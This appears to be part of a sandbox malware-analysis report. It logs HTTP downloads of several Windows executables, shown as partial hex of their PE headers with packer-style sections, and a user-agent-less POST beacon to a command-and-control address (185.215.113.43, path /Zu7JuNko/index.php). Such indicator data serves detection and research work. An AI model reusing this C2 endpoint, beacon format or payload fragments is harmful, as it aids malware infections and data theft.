00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:09 GMTContent-Type: application/octet-streamContent-Length: 3069952Last-Modified: Fri, 01 Nov 2024 07:48:57 GMTConnection: keep-aliveETag: "672487e9-2ed800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 e0 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 32 00 00 04 00 00 d8 80 2f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 6f 6c 63 74 6d 69 63 00 20 2c 00 00 b0 05 00 00 1c 2c 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6f 7a 61 6f 77 74 71 00 10 00 00 00 d0 31 00 00 06 00 00 00 b0 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 31 00 00 22 00 00 00 b6 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:32 GMTContent-Type: application/octet-streamContent-Length: 2159616Last-Modified: Fri, 01 Nov 2024 07:49:10 GMTConnection: keep-aliveETag: "672487f6-20f400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 c0 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 73 00 00 04 00 00 65 a7 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 63 75 74 61 75 61 79 00 50 1a 00 00 60 59 00 00 44 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6e 6a 70 69 63 67 63 00 10 00 00 00 b0 73 00 00 04 00 00 00 ce 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 73 00 00 22 00 00 00 d2 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:41 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Fri, 01 Nov 2024 07:45:19 GMTConnection: keep-aliveETag: "6724870f-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 07 87 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 7c 00 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:46 GMTContent-Type: application/octet-streamContent-Length: 2799104Last-Modified: Fri, 01 Nov 2024 07:45:47 GMTConnection: keep-aliveETag: "6724872b-2ab600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 36 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 6d 68 67 69 74 64 6f 00 60 2a 00 00 a0 00 00 00 54 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 74 7a 69 73 6d 71 61 00 20 00 00 00 00 2b 00 00 06 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 94 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:49 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:52 GMTContent-Type: application/octet-streamContent-Length: 1874432Last-Modified: Fri, 01 Nov 2024 07:49:17 GMTConnection: keep-aliveETag: "672487fd-1c9a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4a 00 00 04 00 00 aa 5f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 0d 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 0d 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 62 68 75 77 73 6b 66 00 80 19 00 00 90 30 00 00 7e 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 68 70 68 78 73 61 72 00 10 00 00 00 10 4a 00 00 04 00 00 00 74 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4a 00 00 22 00 00 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:52:10 GMTContent-Type: application/octet-streamContent-Length: 2799104Last-Modified: Fri, 01 Nov 2024 07:45:47 GMTConnection: keep-aliveETag: "6724872b-2ab600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 36 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 6d 68 67 69 74 64 6f 00 60 2a 00 00 a0 00 00 00 54 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 74 7a 69 73 6d 71 61 00 20 00 00 00 00 2b 00 00 06 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 94 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
